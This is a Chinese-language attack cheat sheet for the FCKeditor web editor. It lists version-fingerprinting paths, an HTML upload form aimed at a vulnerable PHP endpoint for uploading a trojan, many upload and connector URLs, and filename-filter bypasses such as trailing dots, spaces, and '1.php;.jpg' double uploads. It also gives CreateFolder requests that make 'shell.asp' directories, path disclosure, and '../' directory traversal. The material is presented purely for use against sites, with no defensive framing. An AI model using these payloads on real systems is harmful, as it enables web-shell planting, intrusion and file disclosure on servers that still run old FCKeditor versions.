fckeditor编辑器漏洞

查看fckeditor编辑器版本

 /_whatsnew.html

/editor/dialog/fck_about.html

• 查出版本信息之后就可以到网上搜相应的漏洞

version2.2

Apache+linux 环境下在上传文件后面加个.突破

version<=2.4.2 For php

• 该版本在处理PHP上传的地方没有对Media类型进行上传文件类型的控制，导致用户上传任意文件。
• 将以下保存为html文件，action别忘了改成自己的，然后就可以上传木马，不知道上传路径就用bp抓包。

<form id="frmUpload" enctype="multipart/form-data"
action="http://www.xxxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

test文件的上传地址（结合解析漏洞）

FCKeditor/editor/filemanager/browser/default/connectors/test.html（2.4.3）
FCKeditor/editor/filemanager/upload/test.html（2.4.3）
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
如图，发现有上传，但是有可能是测试用的，并不能真正上传木马，这时候去尝试其他的链接。

其他上传地址

FCKeditor/_samples/default.html（2.4.3）

FCKeditor/_samples/asp/sample01.asp（2.4.3）

FCKeditor/_samples/asp/sample02.asp（2.4.3）

FCKeditor/_samples/asp/sample03.asp（2.4.3）

FCKeditor/_samples/asp/sample04.asp（2.4.3）

FCKeditor/_samples/default.html

FCKeditor/editor/fckeditor.htm

FCKeditor/editor/fckdialog.html

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp？Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html？type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php （2.6.3）

FCKeditor/editor/filemanager/browser/default/browser.html？Type=Image&Connector=connectors/jsp/connector.jsp

FCKeditor/editor/filemanager/connectors/test.html（2.6.6）

FCKeditor/editor/filemanager/connectors/uploadtest.html（2.6.6）

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx

fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
可以尝试利用工具，如图。

突破文件名限制“.”变“_”下划线

1.提交1.php+空格绕过：空格只支持windows系统，linux系统是不支持的，可提交1.php+空格来绕过文件名限制。
2.可以在之前的文件夹x.asp下再新建一个文件夹xx.asp，这样只检测了第一级的目录xx.asp，如果第二级目录x.asp就不会受限制，把木马上传到x.asp中即可。可以通过下面的建立文件夹突破，也可以通过bp抓包


%2f在这里就是/，我们可以把这里改为/cc.asp
3.二次上传：继续上传同名文件可变为1.php;(1).jpg，很多时候上传的文件例如1.php;.jpg 会变为1_php;.jpg ，上传两次1.asp;jpg来突破。

突破建立文件夹

/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/xx.asp&NewFolderName=x.asp

/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

/FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=124478997568

爆路径漏洞

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

FCKeditor被动限制策略所导致的过滤不严问题

影响版本: <= FCKeditor v2.4.3

FCKeditor v2.4.3 中File 类别默认拒绝上传类型：
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

• Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件，上传后它保存的文件直接用的$sFilePath=$sServerDir.$sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破。
• 而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，其他上传漏洞中定义TYPE 变量时使用File类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。

jsp版本漏洞

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFold=/

上传马所在的目录：

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/

上传shell的地址：

FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector

列目录漏洞

1.修改CurrentFolder 参数使用 …/…/来进入不同的目录：
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=…/…/（2.4.1）
2.根据xml返回信息查看网站目录：
fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=…/…/…/&NewFolderName=shell.asp

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

3.获取当前文件夹

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
4.浏览E盘文件：
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
5.FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页，可以查看已经上传的文件。
6.遍历目录
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=…/…

browser

fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=…/…/connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp